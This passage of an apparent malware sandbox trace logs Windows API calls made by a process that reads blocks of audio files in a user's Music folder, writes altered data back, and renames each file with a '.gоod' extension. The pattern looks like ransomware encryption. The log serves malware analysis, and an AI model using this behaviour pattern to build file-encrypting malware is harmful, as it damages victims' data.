lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav"), fInfoLevelId=0x0, lpFileInformation=0x34ddc38 | out: lpFileInformation=0x34ddc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d9bab0, ftCreationTime.dwHighDateTime=0x1d4c9ca, ftLastAccessTime.dwLowDateTime=0x69d3d790, ftLastAccessTime.dwHighDateTime=0x1d4ca37, ftLastWriteTime.dwLowDateTime=0x69d3d790, ftLastWriteTime.dwHighDateTime=0x1d4ca37, nFileSizeHigh=0x0, nFileSizeLow=0x133da)) returned 1 [0207.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0207.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", lpFilePart=0x0) returned 0x38 [0207.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0207.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0207.506] GetFileType (hFile=0x828) returned 0x1 [0207.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0207.506] GetFileType (hFile=0x828) returned 0x1 [0207.506] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0207.507] ReadFile (in: hFile=0x828, lpBuffer=0x34de020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x34de020*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0207.507] CloseHandle (hObject=0x828) returned 1 [0207.507] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", lpFilePart=0x0) returned 0x38 [0207.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0207.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0207.508] GetFileType (hFile=0x828) returned 0x1 [0207.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0207.508] GetFileType (hFile=0x828) returned 0x1 [0207.508] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x133da [0207.508] WriteFile (in: hFile=0x828, lpBuffer=0x34df2a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x34df2a0*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0207.508] CloseHandle (hObject=0x828) returned 1 [0207.508] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", lpFilePart=0x0) returned 0x38 [0207.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0207.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0207.508] GetFileType (hFile=0x828) returned 0x1 [0207.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0207.508] GetFileType (hFile=0x828) returned 0x1 [0207.508] ReadFile (in: hFile=0x828, lpBuffer=0x34e1548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x34e1548*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0207.757] CloseHandle (hObject=0x828) returned 1 [0207.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", lpFilePart=0x0) returned 0x38 [0207.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0207.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0207.757] GetFileType (hFile=0x828) returned 0x1 [0207.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0207.757] GetFileType (hFile=0x828) returned 0x1 [0207.757] WriteFile (in: hFile=0x828, lpBuffer=0x343ee20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x343ee20*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0207.925] CloseHandle (hObject=0x828) returned 1 [0208.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", lpFilePart=0x0) returned 0x38 [0208.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav.gоod", lpFilePart=0x0) returned 0x3d [0208.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0208.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d9bab0, ftCreationTime.dwHighDateTime=0x1d4c9ca, ftLastAccessTime.dwLowDateTime=0x69d3d790, ftLastAccessTime.dwHighDateTime=0x1d4ca37, ftLastWriteTime.dwLowDateTime=0x78252655, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x133ea)) returned 1 [0208.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0208.253] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\hwo1yfi-m.wav.gоod")) returned 1 [0208.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", lpFilePart=0x0) returned 0x39 [0208.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0208.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a"), fInfoLevelId=0x0, lpFileInformation=0x355afa0 | out: lpFileInformation=0x355afa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45240a00, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0xaa7ec780, ftLastAccessTime.dwHighDateTime=0x1d4d4ed, ftLastWriteTime.dwLowDateTime=0xaa7ec780, ftLastWriteTime.dwHighDateTime=0x1d4d4ed, nFileSizeHigh=0x0, nFileSizeLow=0x121ff)) returned 1 [0208.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0208.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", lpFilePart=0x0) returned 0x39 [0208.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0208.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0208.255] GetFileType (hFile=0x828) returned 0x1 [0208.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0208.255] GetFileType (hFile=0x828) returned 0x1 [0208.255] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0208.255] ReadFile (in: hFile=0x828, lpBuffer=0x355b388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x355b388*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0208.256] CloseHandle (hObject=0x828) returned 1 [0208.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", lpFilePart=0x0) returned 0x39 [0208.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0208.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0208.256] GetFileType (hFile=0x828) returned 0x1 [0208.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0208.256] GetFileType (hFile=0x828) returned 0x1 [0208.256] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x121ff [0208.256] WriteFile (in: hFile=0x828, lpBuffer=0x355c608*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x355c608*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0208.256] CloseHandle (hObject=0x828) returned 1 [0208.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", lpFilePart=0x0) returned 0x39 [0208.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0208.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0208.257] GetFileType (hFile=0x828) returned 0x1 [0208.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0208.257] GetFileType (hFile=0x828) returned 0x1 [0208.257] ReadFile (in: hFile=0x828, lpBuffer=0x355e8b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x355e8b0*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0208.284] CloseHandle (hObject=0x828) returned 1 [0208.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", lpFilePart=0x0) returned 0x39 [0208.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0208.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0208.285] GetFileType (hFile=0x828) returned 0x1 [0208.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0208.285] GetFileType (hFile=0x828) returned 0x1 [0208.285] WriteFile (in: hFile=0x828, lpBuffer=0x355d620*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x355d620*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0208.285] CloseHandle (hObject=0x828) returned 1 [0208.285] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a", lpFilePart=0x0) returned 0x39 [0208.285] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a.gоod", lpFilePart=0x0) returned 0x3e [0208.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0208.285] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45240a00, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0xaa7ec780, ftLastAccessTime.dwHighDateTime=0x1d4d4ed, ftLastWriteTime.dwLowDateTime=0x785bfced, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1220f)) returned 1 [0208.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0208.285] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\TaMcCJFbP6.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\tamccjfbp6.m4a.gоod")) returned 1 [0208.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0208.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ", lpFilePart=0x0) returned 0x2f [0208.287] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07e6cf0, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0xea6fc800, ftLastAccessTime.dwHighDateTime=0x1d4d0d6, ftLastWriteTime.dwLowDateTime=0xea6fc800, ftLastWriteTime.dwHighDateTime=0x1d4d0d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.287] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07e6cf0, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0xea6fc800, ftLastAccessTime.dwHighDateTime=0x1d4d0d6, ftLastWriteTime.dwLowDateTime=0xea6fc800, ftLastWriteTime.dwHighDateTime=0x1d4d0d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.287] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e38660, ftCreationTime.dwHighDateTime=0x1d4d257, ftLastAccessTime.dwLowDateTime=0xb2ead830, ftLastAccessTime.dwHighDateTime=0x1d4c6c1, ftLastWriteTime.dwLowDateTime=0xb2ead830, ftLastWriteTime.dwHighDateTime=0x1d4c6c1, nFileSizeHigh=0x0, nFileSizeLow=0x812b, dwReserved0=0x0, dwReserved1=0x0, cFileName="78z4-TW7eudkRR_.wav", cAlternateFileName="78Z4-T~1.WAV")) returned 1 [0208.287] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965cf90, ftCreationTime.dwHighDateTime=0x1d4c755, ftLastAccessTime.dwLowDateTime=0x8f48c490, ftLastAccessTime.dwHighDateTime=0x1d4d1df, ftLastWriteTime.dwLowDateTime=0x8f48c490, ftLastWriteTime.dwHighDateTime=0x1d4d1df, nFileSizeHigh=0x0, nFileSizeLow=0x33ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lmjh0MoDa.m4a", cAlternateFileName="LMJH0M~1.M4A")) returned 1 [0208.287] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5744a730, ftCreationTime.dwHighDateTime=0x1d4ceb0, ftLastAccessTime.dwLowDateTime=0x8c57ccb0, ftLastAccessTime.dwHighDateTime=0x1d4c7fb, ftLastWriteTime.dwLowDateTime=0x8c57ccb0, ftLastWriteTime.dwHighDateTime=0x1d4c7fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S64I9a_stZ9Fef_", cAlternateFileName="S64I9A~1")) returned 1 [0208.288] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e8c2440, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xabd6fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3b7, ftLastWriteTime.dwLowDateTime=0xabd6fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WXbSdtcBNJoS7VsTq6g5", cAlternateFileName="WXBSDT~1")) returned 1 [0208.288] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22653490, ftCreationTime.dwHighDateTime=0x1d4c86f, ftLastAccessTime.dwLowDateTime=0x840ce640, ftLastAccessTime.dwHighDateTime=0x1d4d47f, ftLastWriteTime.dwLowDateTime=0x840ce640, ftLastWriteTime.dwHighDateTime=0x1d4d47f, nFileSizeHigh=0x0, nFileSizeLow=0x77a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="xxVPA_6Gi1D Ff0Fmg_6.mp3", cAlternateFileName="XXVPA_~1.MP3")) returned 1 [0208.288] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0342a80, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0xf39423c0, ftLastAccessTime.dwHighDateTime=0x1d4c5ed, ftLastWriteTime.dwLowDateTime=0xf39423c0, ftLastWriteTime.dwHighDateTime=0x1d4c5ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yRou69", cAlternateFileName="")) returned 1 [0208.288] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0342a80, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0xf39423c0, ftLastAccessTime.dwHighDateTime=0x1d4c5ed, ftLastWriteTime.dwLowDateTime=0xf39423c0, ftLastWriteTime.dwHighDateTime=0x1d4c5ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yRou69", cAlternateFileName="")) returned 0 [0208.288] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0208.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0208.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0208.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ", lpFilePart=0x0) returned 0x2f [0208.288] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07e6cf0, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0xea6fc800, ftLastAccessTime.dwHighDateTime=0x1d4d0d6, ftLastWriteTime.dwLowDateTime=0xea6fc800, ftLastWriteTime.dwHighDateTime=0x1d4d0d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.289] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07e6cf0, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0xea6fc800, ftLastAccessTime.dwHighDateTime=0x1d4d0d6, ftLastWriteTime.dwLowDateTime=0xea6fc800, ftLastWriteTime.dwHighDateTime=0x1d4d0d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.289] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e38660, ftCreationTime.dwHighDateTime=0x1d4d257, ftLastAccessTime.dwLowDateTime=0xb2ead830, ftLastAccessTime.dwHighDateTime=0x1d4c6c1, ftLastWriteTime.dwLowDateTime=0xb2ead830, ftLastWriteTime.dwHighDateTime=0x1d4c6c1, nFileSizeHigh=0x0, nFileSizeLow=0x812b, dwReserved0=0x0, dwReserved1=0x0, cFileName="78z4-TW7eudkRR_.wav", cAlternateFileName="78Z4-T~1.WAV")) returned 1 [0208.289] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965cf90, ftCreationTime.dwHighDateTime=0x1d4c755, ftLastAccessTime.dwLowDateTime=0x8f48c490, ftLastAccessTime.dwHighDateTime=0x1d4d1df, ftLastWriteTime.dwLowDateTime=0x8f48c490, ftLastWriteTime.dwHighDateTime=0x1d4d1df, nFileSizeHigh=0x0, nFileSizeLow=0x33ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lmjh0MoDa.m4a", cAlternateFileName="LMJH0M~1.M4A")) returned 1 [0208.289] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5744a730, ftCreationTime.dwHighDateTime=0x1d4ceb0, ftLastAccessTime.dwLowDateTime=0x8c57ccb0, ftLastAccessTime.dwHighDateTime=0x1d4c7fb, 